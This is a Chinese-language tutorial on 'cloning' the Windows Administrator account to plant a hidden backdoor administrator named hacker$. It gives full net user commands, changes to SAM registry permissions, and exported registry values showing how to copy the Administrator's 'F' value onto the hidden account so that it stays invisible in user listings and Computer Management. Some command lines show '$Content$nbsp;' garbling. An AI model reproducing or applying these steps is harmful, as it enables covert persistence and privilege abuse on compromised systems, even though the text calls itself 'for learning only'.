手动克隆管理员操作教程

如今入侵一台主机并不算难，但真正做好安全防护却相当棘手——因此今天我们来探讨一个较为硬核的话题：如何手动克隆一个管理员账号。简单来说，就是创建一个具有最高权限的“双胞胎”管理员账户，隐蔽性极强，在控制台列表里看不见，计算机管理中也查不到。当然，本文仅限技术交流与学习。

第一步，先创建一个带$符号的隐藏用户。直接在命令行输入：

c:\>net user hacker$Content$nbsp;123456 /add

注意后面的$，这个符号的作用就是让它在net user列表里隐身。但还不够，接下来要动注册表了。

先打开regedt32.exe（注意，不是regedit.exe），找到HKEY_LOCAL_MACHINE\SAM\SAM这个键。点选它，然后在菜单栏的“安全”->“权限”里，把自己当前登录的账户或组加进去，把“完全控制”的权限勾上，确定。这一步是为了能直接读取SAM中的信息，没有权限什么都做不了。

然后，打开regedit.exe，定位到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\hacker$。你会看到默认键值，比如“0x3f1”。这个数字就是用户对应的SID。接下来，导出三个文件：

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\hacker$ 导出为hacker$.reg
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F1 导出为3f1.reg
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 导出为1f4.reg（这是Administrator的对应键）

用记事本打开1f4.reg，找到“F”这个值。比如你看到的可能是这样一串：

"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,20,97,b7,13,99,50,c2,01,ff,ff,ff,ff,ff,ff,ff,7f,40,6e,43,73,9f,50,c2,01,\
f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,00,00,01,00,00,00,00,\
00,00,00,00,00,00,00

把这串复制下来。然后打开3f1.reg，找到同样的“F”值，删除它，再把刚才复制的Administrator的“F”值粘贴进去。这一步就是把普通用户的权限替换成管理员的权限，这是克隆的关键。

接下来，打开hacker$.reg，把里面的内容复制出来，比如：

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\hacker$]
@=hex(3f1):

然后回到3f1.reg，在文件末尾粘贴这行。最后，3f1.reg的内容应该像这样：

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F1]
"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,20,97,b7,13,99,50,c2,01,ff,ff,ff,ff,ff,ff,ff,7f,40,6e,43,73,9f,50,c2,01,\
f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,00,00,01,00,00,00,00,\
00,00,00,00,00,00,00
...（后面还有V值的完整内容，太长不展开）
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\hacker$]
@=hex(3f1):

保存好这个文件。然后回到命令行，把刚才那个隐藏用户删掉：

c:\>net user hacker$Content$nbsp;/delete

接着，打开regedit.exe，把修改好的3f1.reg文件导入。导入成功后，再打开regedt32.exe，回到HKEY_LOCAL_MACHINE\SAM\SAM，在“安全”->“权限”里，把刚才添加的账户权限删掉，恢复原样。最后，注销当前用户，用hacker$/123456登录——没错，你已经是最高权限了。

注意，Windows 2000和Windows XP/2003的克隆方法略有不同，但核心思路一致。这样你就拥有了一个在命令行和计算机管理中都看不到的账号hacker$，记得第一次就设好密码，之后不要改。